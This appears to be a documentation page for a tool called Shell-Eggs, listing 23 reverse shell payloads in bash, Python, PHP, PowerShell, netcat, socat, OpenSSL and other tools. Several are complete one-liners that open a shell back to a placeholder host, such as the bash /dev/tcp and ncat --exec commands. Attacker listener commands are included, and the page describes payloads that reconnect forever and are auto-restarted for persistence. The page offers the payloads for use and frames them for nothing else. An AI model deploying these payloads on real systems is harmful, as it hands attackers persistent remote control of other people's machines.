Shell-Eggs Docs · Reverse Shells

🎣 Reverse Shells

Interpreter and netcat-family callbacks: bash, python, PHP, perl, ruby, lua, node, powershell, go, java, groovy, awk, nc/socat and TLS flavors. Every payload reconnects forever.

Ports: Outbound only - no inbound port. Set SHELL_REVERSE_HOST/PORT.
Your listener: nc -lvnp 4444
or a fully interactive PTY listener: socat file:$(tty),raw,echo=0 TCP-L:4444

23 shells

IDNamePortConnect / payload
bash-tcpBash /dev/tcp Reverse4444bash -i >& /dev/tcp/LHOST/LPORT 0>&1
bash-udpBash /dev/udp Reverse4444bash -i >& /dev/udp/LHOST/LPORT 0>&1
pythonPython Reverse Shell4444socket + dup2 + subprocess, reconnect loop
python-ptyPython PTY Reverse4444pty.spawn + socket + reconnect loop (full TTY)
phpPHP fsockopen Reverse4444fsockopen + proc_open('/bin/bash -i')
php-pentestPHP Pentestmonkey-style4444full pentestmonkey-style PHP reverse shell
perlPerl Socket Reverse4444core Socket + exec /bin/sh -i
rubyRuby TCPSocket Reverse4444TCPSocket + system()
luaLua Socket Reverse4444io.popen loop over received lines
nodeNode.js net.Reverse4444net.connect + child_process.spawn
powershellPowerShell TCP Reverse4444System.Net.Sockets.TCPClient + Invoke-Expression
golangGolang Reverse Shell4444net.Dial source, compiled at boot
groovyGroovy Reverse Shell4444Socket + ProcessBuilder (Jenkins-console style)
javaJava Reverse Shell4444Socket + ProcessBuilder, compiled at boot
awkGawk Reverse Shell4444gawk /inet/tcp co-process
ncNetcat Reverse4444FIFO relay - openbsd + traditional netcat
nc-udpNetcat UDP Reverse4444UDP flavor - listener must speak first
ncatNcat Reverse4444ncat --exec /bin/sh LHOST LPORT
socatSocat Reverse (pty)4444socat EXEC:...,pty,stderr,setsid,sigint,sane
cryptcatCryptcat Reverse4444netcat + twofish (-k shared-key)
openssl-rsOpenSSL TLS Reverse4444openssl s_client -quiet -connect LHOST:LPORT
socat-tlsSocat TLS Reverse4444socat OPENSSL:... reverse, auto-generated client cert
ncat-sslNcat SSL Reverse4444ncat --ssl --exec /bin/sh LHOST LPORT

Every payload reconnects forever (2-5s backoff) and is auto-restarted by the supervisor. Full details in SHELLs.md.